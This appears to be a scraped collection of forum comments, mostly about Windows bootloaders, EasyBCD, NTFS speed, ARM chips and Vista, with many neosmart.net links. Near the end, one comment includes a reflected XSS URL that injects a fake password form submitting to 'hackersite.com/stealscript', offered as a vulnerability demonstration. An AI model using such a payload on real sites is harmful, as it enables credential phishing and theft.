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Windows uses hybrid kernel. There is an interesting comment about the differences between NT, MACH and Linux kernels.

Don't
tell
me
you
believe
the
mass
media.

Yes because funding BP, Exxon, Monsanto etc is really honorable.

I'm not sure about the changes made with EFI booting, but for "classic" BIOS-mode booting, Windows does support multiple OS from its own bootloader. Check out info on the boot.ini (NTLDR). Heck, there's even a tool, EasyBCD, that will help you set up the booting options.

Of course, since most people that use desktops run only Windows, almost nobody has actually seen the Windows NT bootloader menu. Some of the people who used NT 3.51 or 4 might recognize it. In addition, since no consumer version of Windows until XP (the merge between the classic and NT codebases) supported multiboot, it's not a huge surprise that people don't know about this. That doesn't discount the practical issues too: editing boot.ini requires writing to an NTFS volume, which only really became possible on Linux with NTFS-3g, or you have to boot into Windows. If you were going to be using Linux primarily, it was much easier to just use lilo or grub for the bootloader.

The poster is full of crap.

http://neosmart.net/blog/2009/windows-7-system-repair-discs/

Also: control panel ---> System and security ---> Back up and restore ---> at the side it says--> create system recovery disk.

Bcdedit isnt GUI, last I checked....)?

EasyBCD is freeware and GUI. Very handy.

hahahaha what? Is this a troll?

ARM's are running over 1ghz and are now onto dual cores with plans and support for more cores.

ARM is also substantially more efficient and runs better than X86.

ARM is already performing as well as core2 stuff from Intel. ARM also has no issues decoding H264, but apparently you were unaware that ARM processors can be coupled with graphics like the SGS and Tegra stuff.

It is already being predicted that arm will be faster in 2-3 years. It's catching up must faster than Intel is moving forward.

"* *Actual* performance problems due to fragmentation - outside of a few corner cases - are basically nonexistant. "

Yep. That's why I have to run defragmenter on our build server every week...

Also, Windows is notoriously slow with file operations. It's not directly related to NTFS, but more to extremely inefficient VFS stack.

"* Can you explain what you mean by "it's done above the VFS layer" ? Surely you're not trying to argue symlinks and shortcuts are the same thing ? "

http://neosmart.net/blog/2006/vista-symlinks-revisited/

"* RAID is handled at the block device level, not the filesystem level (and many, many people believe putting RAID into the "filesystem" is an architecturally bad thing, so that's hardly something it can be plainly criticised for)."

However, filesystem-level RAIDs have a lot more functionality than block-level RAIDs. Look at ZFS or BTRFS.

"* Do you have a source for up-to-date benchmarks ?"

I have my own set of benchmarks. Well, NTFS on Windows is almost always slower (and quite often like 100 _times_ slower) than Linux filesystems.

http://rsdn.ru/File/37054/benchmark.zip - this is the source.

http://rsdn.ru/forum/philosophy/1710544.1.aspx - this is a post with benchmark results (in Russian, sorry - I can translate if you have any questions)

http://rsdn.ru/forum/philosophy/1712431.aspx - this post contains this benchmark, slightly adapted.

I regularly re-run these tests. So far, Windows is only getting slower compared to Linux.

I've recently created a multithreaded version of this test. Well, let's say that NTFS sucks so badly, that it's hard to understand how MS has managed to achieve this.

Having used Expose a far bit, I find it far easier to use than the taskbar or Alt+Tab. Being able to see a window's contents makes it far easier to find a specific window. That's why Windows Vista/7 have taskbar window previews now. Now imagine if you could see them all at once, instead of just one at a time. That's Expose.

Win+Tab shows you part of each window, albeit not the entire thing unless it's the front-most window.
Alt-Tab now shows miniature versions of each window, just like the taskbar hover does now. Also, Alt-Tab in Windows 7 makes all the windows except the current selection show only their window outline.

Windows 2000 had the search indexing service (albeit not enabled by default).

Okay, let me rephrase. Realtime indexed search. That's what I was talking about that Windows didn't have until Vista, and OS X had several years earler.

You think the indexing service isn't realtime? The indexing service has to do a full drive scan once the first time it's enabled (it uses the NTFS Sequence Number to find the files it missed after that point), but while it's service is running, it uses the NTFS 5.0 change journal to track changes. Do I really need to mention that the change journal is updated in real time by file system operations?

Oh, and before you say "oh these are new features," this information is from the Indexing Service 3.0 documentation, which was included in the initial release of Windows 2000 ("Indexing Service 3.0 ships as part of all versions of Windows 2000." -- Microsoft December 2000 security bulletin).

Microsoft did add some new features for its desktop search products, the first of which launched as part of the MSN Toolbar Suite in 2004. The indexer now supports more meta-data types, and the client is now a single search box instead of the old Search dialog specifying what kind of data you're searching for (file name, contents, meta-data, etc...).

You can boot multiple OSes from the Windows bootloader.

It's possible, but it's extremely difficult to set up, and nowhere near as easy as Boot Camp.

It is rather unfortunate that Vista didn't include a GUI editor for its new bootloader. I guess that's why EasyBCD was invented, although it hasn't been updated since sometime in 2008 (but apparently still work on Windows 7).

Use EasyBCD to get Windows to play super-nice with Linux and BSD.... The Windows boot manager can do magic!

Every once in awhile an idiot like you comes along, who really doesn't understand a single god damn thing about the NT kernel, but that's OK because YOU know the answers.

People like this would not have modded you insightful. It is the ignorant troll who does.

It's not so hard with EasyBCD.

I dual-boot between Vista and GNU/Linux.

Just use EasyBCD to configure Vista's bootloader to add an entry.

I see what you did there...

And I can agree with you partly. But for those who really needs a windows installation and is stuck with vista I think this one is better: http://neosmart.net/blog/2008/windows-vista-recovery-disc-download/

You know, you can disable the UAC, and find your own drivers. Of course, if you are still using a sound blaster live! card, it is now under EOL (end of life) (click through to select your card) and will not have supported drivers for Vista.

These kind of steps are common with any new operating system that is expected to run multitudes of old, unsupported hardware (note that doesn't include OSX). But yes, the default sound drivers for Vista are crap, no argument there :).

For those of you (unlucky enough to be) using Windows Vista, you should be able to use this free program (previously featured on Slashdot) to get it dual-booting with as little pain as possible. EasyBCD works fine with Linux, Windows XP & Vista, and OS X.

I'm not sure what the purpose of this article is other than to demonstrate possible use for the fonts. I do think the author has some trouble with the i key on his keyboard. Georgia is called "Georga" and Lucida is called "Lucidia"... It's also not even complete. I just found a more comprehensive overview of all the new Vista fonts here. I have to say that the fonts do not really look dramatically better than the ones that they are supposed to replace.

I submitted this article, but unfortunately the page that "the CGI on Windows problem" linked to was down when this story was accepted. This is the correct link, and describes the problem as caused by the behavior of CGI applications on the Windows subsystem architecture; verses the link currently in the story which is nothing more than a list of steps to get PHP-CGI running on a Windows machine.

-Marcy

I submitted this article, but unfortunately the page that "the CGI on Windows problem" linked to was down when this story was accepted. This is the correct link, and describes the problem as caused by the behavior of CGI applications on the Windows subsystem architecture; verses the link currently in the story which is nothing more than a list of steps to get PHP-CGI running on a Windows machine.

-Marcy

Use EasyBCD; my home system currently triple-boots using the Vista bootloader into Vista, XP and Ubuntu. Frankly, it was a piece of piss to set up (just remember not to install GRUB on your MBR).

This whole move by Microsoft confuses me. Surely they would know that the Open source community would basically hit back with "Show us the code", "Your patents won't hold up in court" and "Whatever you have, we will work around it". My guess is that either: Steve Ballmer really is an idiot and doesn't understand what is happening, or that there is some other end game in this. I refuse to believe that such an idiot at least wouldn't be stopped by someone else in Microsoft's camp with a simple "Just think about it first", so my guess is that there is another end game.
Yes, this is bad publicity for open source through mainstream media (as, like it or not, most people don't get their tech news from people that can program), and yes, this will scare some companies into buying MS software in their next cycle, but really... what is the end game?

I saw an interesting comment here: http://neosmart.net/blog/2007/microsoft-linux-pate nt-violations/ that basically, MS's won't reveal the infringing source code because it will get traced back to MS agents. Either way though, it doesn't explain this.
Like it or not, Microsoft, as a company, are as smart as they are evil. There is something else behind this.

Keep in mind that if you're using Vista, you're machine will likely not wake, and, if you have my problem, you'll have to hard power down the machine, fscking your filesystem.

see this

If Apple is going to start charging for Boot Camp, I guess its time for dual-booters to start using the multi-purpose EasyBCD or OnMac to get Windows running on your Macintosh. They're both free, and written by the community, not a big money-making company. You can (and should) donate if you like, of course.

It's back up now http://neosmart.net/blog/archives/285 . Enjoy!!

No they don't. They support "Junctions" which are the equivalent of Unix "Hardlinks." Symlinks add "Softlink" support to Windows. See http://neosmart.net/blog/archives/278 for more info.

http://neosmart.net/blog/archives/239

Saudi Arabia has the most extensive (technologically-speaking) setup of the ones on the list.

Seeing as the SQL is down, here's a direct link: http://neosmart.net/downloads/software/EasyBCD/Eas yBCD%201.5.exe

NeoSmart Technologies had a very thorough analysis of Middle East firewall technologies published a while back, I think their model was the Saudi Arabian policy.... it's really interesting from a technology point-of-view, how the proxy filters on-the-fly modify incoming cookies to change them to their liking and the heuristic detection methods employed (not used in China for example). Middle East Firewalls

How about the bug I constantly get where copy/paste/shift-end/shift-home quits working in text boxes much like this slashdot submission form on a random basis? (Which I, ironically, just encoutenered as I popped to a different window to search for the bug...)

Sometimes it appears to be a selection issue and goes away when I change browser windows, other times I have to completely kill all instances of firefox to get it working again...

Running on Windows Server 2003, default theme, no extensions.

This same (or a similar) bug has cropped up in various releases since early Mozilla betas.

Note: a quick search for this bug indicates it may have been fixed.

Alas, I'm running 1.0.5.6 and don't appear to have any spyware on this machine!

A final thought: Don't take this to mean I dislike Firefox, or the dev team as a whole, I love the fact that I can browse with Firefox and not have to constantly worry that my computer will be compromised by some ActiveX content I don't even want. Further I greatly respect the whole mozilla team and their efforts. However, Firefox is by no means perfect, merely the (far) lesser of two evils.

FireFox Copy & Paste Bug: Fixed!!

http://neosmart.net/blog/archives/157 Quite different results however....

http://neosmart.net/blog/archives/220#comment-3117

It has BSOD too

Now I call that 100% compatible;)

..and the result was a disaster. Digg v3 isn't what it's cracked up to be. http://neosmart.net/blog/archives/205

NeoSmart Technologies has posted a clarification on this article:
The Clarification..

A lot of what has been said here really doesn't go against what the article was about - it wasn't about XSS not being a vulnerability, just about it being taken out of proportion... There's a clarification/follow-up posted now: http://neosmart.net/blog/archives/194#comment-2299

well how about that.

http://neosmart.net/blog/index.php?s=%3Cbr+%2F%3E% 3Cbr+%2F%3E%3Cimg+src%3Dhttp%3A%2F%2Fwww.alan-alda .com%2Falan-alda.jpg%3E%3Cbr+%2F%3E%3Ch2%3EWelcome +to+the+Alan+Alda+fanclub.+Please+enter+your+passw ord.%3C%2Fh2%3E%3Cform+id%3D%22searchform%22+metho d%3D%22get%22+action%3D%22http%3A%2F%2Fwww.hackers ite.com%2Fstealscript%22%3E%3Cinput+type%3D%22text %22+name%3D%22s%22+id%3D%22s%22+size%3D%2215%22+%2 F%3E%3Cbr+%2F%3E%3Cinput+type%3D%22submit%22+value %3D%22Submit%22+%2F%3E%3C%2Fform%3E%3Cbr+%2F%3E

Note: if you are actually a member, please do not input your password. This is merely an XSS trick demonstrating a total lack of vulberability, sloppy coding or naivety on the part of neosmart.

I believe XP has been booted on the new Macs or at least there are instructions on how to do it. I have not verified that the steps on the linked site work but it looks promising (and complicated).

http://neosmart.net/blog/dual-booting-windows-xp-o n-a-macbook/